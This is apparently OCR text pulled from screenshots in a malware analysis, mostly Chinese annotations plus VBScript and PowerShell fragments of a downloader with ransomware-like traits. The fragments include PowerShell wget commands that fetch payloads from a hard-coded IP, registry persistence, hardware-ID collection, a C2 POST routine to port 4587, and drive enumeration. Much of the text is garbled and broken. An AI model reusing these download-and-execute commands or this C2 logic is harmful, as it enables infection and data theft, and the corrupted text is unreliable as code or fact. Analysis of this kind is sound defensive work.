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AT

powershell $tmp
Rename-Item -NewName { $_ -replace 'tmp$', 'vbs' }"
Mhttp://192.119.111.4/xx/dv.zip T &idv.zipH E s & H{HEHZFR}.vbs
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attack(S)
WshShell.Run S &
sleep 20
WshShell.Run S & ' |
window.moveTo -5000, -5800
window.close
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2).{Ransom}.vbs
Mhttp://192.119.111.4/xx/f_Skoifa.vbs £ F#if Skoifa.vbs# B 57739 %USERPROFILE%\AppData\Local

) .ExpandEnvironmentStrings ("%

TESHES:

1) )70

bjHTTP.ResponseBody, i, 1 ) )
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objFile.Close( )

#I/#7%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Helpl & 2 2 B 171, & A EEMIE—

pandEnvironmentStrings( “XUSERPROFILEX\AppData\Roa ic fr\wi Help™)
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B EMRIIHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Help
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setObject(™ " & strComputer & ™

tObject("wi

strComputer '.7 * 7-: T %GCOWE%F*

& 22 ¥ #t & HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ Explorer\User Shell Folders LA X
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
1828 B B EhX 4 3= 5 % USERPROFILE%\AppData\Roaming\Microsoft\Windows\Help

ngvalue _
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S Awscript.exe %USERPROFILE%\AppData\Local\f_Skoifa.vbs
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<script language="¥BSeri;
Sub sleep (Tinese
Set ohjwsh = CreateObject {"WScript. Shell™)
obyweh, Run “Tinoowt /T " & Tinesos & ° /nobreak”
Set objush = Nothing

Sub

{"WScript, Shell’
tnp = New-TenporaryFile wget —v ““http://192. 119, 111, 4/xx/f_Skoifa. zip™* -outfile

= Crezelbje
povershell

Fenane-Tten ~Newllane | §_ —replace "tnpf’, 'vhs'

are0bisct (“WSeript. Shell™)

©fkrchTheck = Read("HEEY_LOCAL MACHINE\SYSTEM\CurremtControlSet\Control\Seszion Maneger\Envirorment \PEOCESSOR_ARCHITECTURE")

sleep 10

©3ArchCheck = WehShell.RegRead ("HEEY_LOCAL_MACHIT _ARCHITECTURE" }

SYSTEM\Cur rentCortrolSet \Control\Session Manager\Envirorment \PROCESSC

If 0SkrchCheck = “x86° Then

attack  (*CiyWindovs\Systen32\WindowsFoverShellivl, O\powershell. exe”}
Else

attack  ("Ci\Wandows\syswvoutd\WindowsPower Shellvwl, 0\powershell, exe”)
End I

Sub attack(s)

WzhShell.Fum 5 & ° anwoke-sten " Senvitempis vba" ,0

p 20

R L B e XX 1

HideDocuments(path
HideDocuments(path2 &

CreateObject("s
GetFile(file
f
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hwid

root = getobject("wi

s = root.
disk in di
rolumeserialnumber <>

disk.volumeserialnumber

o Gcowz2H

RBMARRAMNREMENREREER

security

sersion,”. ")

ubound tr)

n = 05

o Gcowz £HA

BT RN HITHE:

{HWIDEE}< | >{it EMBFR}<|>{HBIAF B} <|>{RARRAE}I<|>plus< | >{RFIRE I<|>{RBHRHEEI<|>""
AR ERITR

B IF IS BB Post R EZ%45C2: 192.119.111.4:4587

post (cmd ,param)
post = param
httpobj.open "post”,"http: & host(dns) &" & cmd,
httpobj.send param
post = httpobj.responsetext

o GcowR£HRA
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,information)

ELEL] emd (1)

THEXHHERIT
BATHEXEOUrIARRFEER

1, instr

objstreamdc

f objfsodownl
shellobj.run o

MR EFF

enumdriver ()
drive in filesystemobj.drives
rive.isready = the
enundriver = enumdriver & drive.path & & drive.dr
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enumfaf (enum

& folder.attributes & spliter
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Recv 7 EEXH
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